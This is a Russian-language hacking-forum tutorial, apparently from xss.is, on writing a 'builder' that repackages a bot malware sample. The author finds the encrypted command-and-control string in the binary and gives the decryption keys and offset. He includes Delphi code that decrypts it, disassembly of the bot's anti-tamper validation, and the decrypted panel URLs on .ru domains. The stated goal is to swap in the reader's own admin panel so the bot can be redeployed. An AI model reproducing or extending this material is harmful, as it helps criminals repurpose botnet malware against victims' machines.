• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем билдер.

Apocalypse

CPU register
Пользователь
Регистрация
28.06.2011
Сообщения
1 303
Реакции
1 434
Ничего если я помогу товарищу KraZz, продолжив его тему

Итак.

На основании проведенного анализа, мы узнали, что данные адреса админки и еще чего-то, закодированы с использованием Base64 и простенького криптоалгоритма.

Вы уже, наверное скачали семпл бота из предыдущей темы и смотрите на него как на ... опустим неизвестность. Что же нам нужно, чтобы сделать простенький билдер, который изменит вшитый адрес на наш?

Давайте поищем, где в бинарнике бота находится эти зашифрованные данные. Я использую CFF Explorer. Откроем в нем бинарник и выберем меню - Hex Editor, перед нами шестнадцатиричный код бинарника, теперь нам нужно найти смещение, по которому прописаны данные. Жмем кнопку с изображением лупы и вводим в первом поле начало строки зашифрованных данных - "NxVF+j":

85b078412d.png



После этого жмем кнопку Find и вуа-ля, находится нужная нам строка, на рисунке я подчеркнул и выделил те данные, которые будут использоваться при написании билдера:

a8b5790dcd.png


Небольшое пояснение:
- черным выделены зашифрованные данные
- подчеркнутые четыре байта слева от зашифрованных данных - это длина строки (которую надо будет пофиксить), другими словами в исходниках бота эта строка была объявлена так:

Код:
var
URL: String = 'NxVF+j/F385U6sVXA/tdQPPRjdi621/NcSudDng637htLdtvYxoz7SoH75D71R2r6PFN/ds1gdPBa8iQOtdeT1ULaij3MO2+rRK8YvcS3EGEj8XMcg/JfNn58mNuS29xMBGl+/che9Y4rWMxKRoL+VCrHZb/zD/2tUGRc65m0AmhhlMg3qNZA6bU82mrupHltACH0g==';

- внизу подчеркнуты поля с информацией о смещении данных относительно начала бинарника и опять же размер этих данных (все в шестнадцатиричной системе счисления)

Итак, мы знаем смещение зашифрованных данных, знаем метод шифровки/расшифровки, давайте перейдем к написанию билдера. В своей деятельности я использую Delphi и как бы некоторые не плевались, этот ЯП ничем не хуже остальных.

Сделаем простенькую форму с 4 компонентами:

e0c147c5f4.png


Оформим все по-человечески и получим:

d634071204.png


Все просто ;)

Переходим к коду нашего билдера. Я решил написать как чтение данных из бинарника, так и запись новых. Что следует учесть при написании?

Для чтения:
- изначально строка с адресом закодирована в Base64, поэтому нам нужно ее раскодировать
- затем расшифровать

Для записи:
- зашифровать строку
- закодировать в Base64

Вот такой первоначальный алгоритм действий (дальше хуже ;) )

У нас есть 3 ключа и имя бинарника, объявим их так:
Код:
const
  fn = '_00160000.exe';
  StartKey = $624;
  MultKey = $86E;
  AddKey = $9139;

Внимание: В аттаче я выкладываю полные сорцы билдера, где есть все необходимые модули.

Создадим обработчик для кнопки Read:

- объявим локальные переменные:
Код:
var
hFile,read: cardinal;
buffer: string;

- и сам код:
Код:
hFile:=CreateFile(fn,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
        if hFile<>INVALID_HANDLE_VALUE then
        begin
        SetLength(buffer,$C8);
        SetFilePointer(hFile,$4294,nil,FILE_BEGIN);
        ReadFile(hFile,pointer(buffer)^,$C8,read,nil);
                if read=$C8 then
                begin
                Edit1.Text:=Decrypt(Decode(buffer),StartKey,MultKey,AddKey);
                end;
        CloseHandle(hFile);
        end;

Данный код открывает бинарник бота, выделяет буфер под строку данных с размером $C8 (см. рисунок №2), устанавливает указатель для чтения по адресу $4294 (см. рисунок №2) и читает блок данных в подготовленный буфер. Если данные прочитались с нужным размером, происходит раскодирование буфера функцией Decode - это Base64Decode условно говоря и потом расшифровка через Decrypt. В конце в поле Edit1 будет выведена расшифрованная информация:

Код:
1102.40.90@5@527065275@4@g8@3@php.xedni/nd/ur.olirbej//:ptth@2@php.xedni/nd/ur.ivanidnacs//:ptth@1@php.xedni/nd/ur.lasorev//:ptth_@70y@00@r55%007_@@

Хм, что-то не совсем понятное, дело в том, что это переврнутая строка с дполнительными разделителями и данными, по которым производится проверка валидности записанного адреса (привет авторам) ;)

Для переворота строки используем такой код:
Код:
function ReverseString(s: string): string;
var
  i: integer;
begin
  Result := '';
  if Trim(s) <> '' then
    for i := Length(s) downto 1 do
      Result := Result + s[i];
end;

Добавим его в эту строку кода:
Код:
Edit1.Text:=ReverseString(Decrypt(Decode(buffer),StartKey,MultKey,AddKey));

Теперь при чтении получаем такие данные:
Код:
@@_700%55r@00@y07@_http://verosal.ru/dn/index.php@1@http://scandinavi.ru/dn/index.php@2@http://jebrilo.ru/dn/index.php@3@8g@4@572560725@5@09.04.2011

Что мы здесь видим:
- непонятные цифры и символы @
- три адреса для остука ;)
- версия бота - 8g
- номер (это скорее всего аська покупателя) и дату продажи ;)

Теперь, чтобы разобраться подробнее вернемся к отладчику + известно, что бот написан на Delphi и используем IDR для построения map файла (помогает в отладке).

Код:
<00411EDA>
	LEA EDX,[LOCAL.2]; Buffer
	MOV EAX,[LOCAL.1]; Crypted URL
	CALL 00407840; Base64 Decode
	MOV EAX,[LOCAL.2]
	MOV EDX,EBX
	CALL 0040794C; Decrypt
	LEA EDX,[LOCAL.3]
	MOV EAX,DWORD PTR DS:[EBX]
	CALL 0040FDA4; Trim

Вот участок кода, где происходит первоначальная манипуляция с зашифрованными данными, видно, что сначала раскодируется Base64, расшифровывается результат и потом удаляются пробелы с концов (хз, конечно откуда тут они могли появиться, т.ч опять привет авторам). Смотрим чуть ниже:

Код:
<00411F04>
	MOV EDX,DWORD PTR DS:[EBX]
	MOV EAX,411F78
	CALL 00404530; var pos = Pos('_@@',Buffer)
	MOV ECX,EAX
	DEC ECX
	MOV EAX,DWORD PTR DS:[EBX]
	MOV EDX,1
	CALL 004044A8; Copy(Buffer,1,pos-1);
	LEA EDX,[LOCAL.4]
	MOV EAX,DWORD PTR DS:[EBX]
	CALL 0040FE90; Validation

Здесь в неперевернутой строке ищется позиция для строки "_@@" и затем копируется строка за вычетом найденной позиции. После этого происходит процедура валидации полученной строки и в случае ее непрохождения комп вырубается (жестоко, да?). Не буду вдаваться в подробности, вот небольшой "псевдокод" (r - неперевернутая строка с данными):

Код:
x:=Pos('_@@',r);
r:=Copy(r,1,x-1);

l1:=Length(r);
l2:=Length(r);
s:=Copy(r,l2-$E,l1);

if s[2]<>r[16] then ShutDown;
if s[4]<>'y' then ShutDown;
if s[5]<>r[13] then ShutDown;
if s[7]<>r[17] then ShutDown;
if s[8]<>r[11] then ShutDown;
if s[10]<>r[14] then ShutDown;
if s[9]<>'r' then ShutDown;
if s[11]<>r[12] then ShutDown;
if s[12]<>'%' then ShutDown;
if s[13]<>r[10] then ShutDown;
if s[14]<>r[10] then ShutDown;

l1:=Length(r);
res:=Copy(r,1,l1-$10);

Если мы проходим валидацию, то по окончанию наш буфер укорачивается на 16 символов и получается такая строка:

Код:
1102.40.90@5@527065275@4@g8@3@php.xedni/nd/ur.olirbej//:ptth@2@php.xedni/nd/ur.ivanidnacs//:ptth@1@php.xedni/nd/ur.lasorev//:ptth

Потом идет переворот строки:
Код:
<00411F33>
	LEA EDX,[LOCAL.5]
	MOV EAX,DWORD PTR DS:[EBX]
	CALL 00411BA4; ReverseString

Поулчаем:
Код:
http://verosal.ru/dn/index.php@1@http://scandinavi.ru/dn/index.php@2@http://jebrilo.ru/dn/index.php@3@8g@4@572560725@5@09.04.2011

И в дальнейшем идет разбор трех адресов для остука, как разделитель для каждого адреса используются строки "@№@" (где № = 1..3), теперь немного откорректируем код обработчика для кнопки Read:

- локальные переменные:
Код:
var
hFile,read: cardinal;
s,buffer: string;

- обработчик:
Код:
hFile:=CreateFile(fn,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
        if hFile<>INVALID_HANDLE_VALUE then
        begin
        SetLength(buffer,$C8);
        SetFilePointer(hFile,$4294,nil,FILE_BEGIN);
        ReadFile(hFile,pointer(buffer)^,$C8,read,nil);
                if read=$C8 then
                begin
                s:=Decrypt(Decode(buffer),StartKey,MultKey,AddKey);
                s:=Copy(s,1,Pos('_@@',s)-1);
                Edit1.Text:=ReverseString(Copy(s,1,Length(s)-16));
                end;
        CloseHandle(hFile);
        end;

Вот так вот мы смогли прочитать зашифрованные данные :yes2:

Чуть позже, напишу, как записать нашу админку в бота ;)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх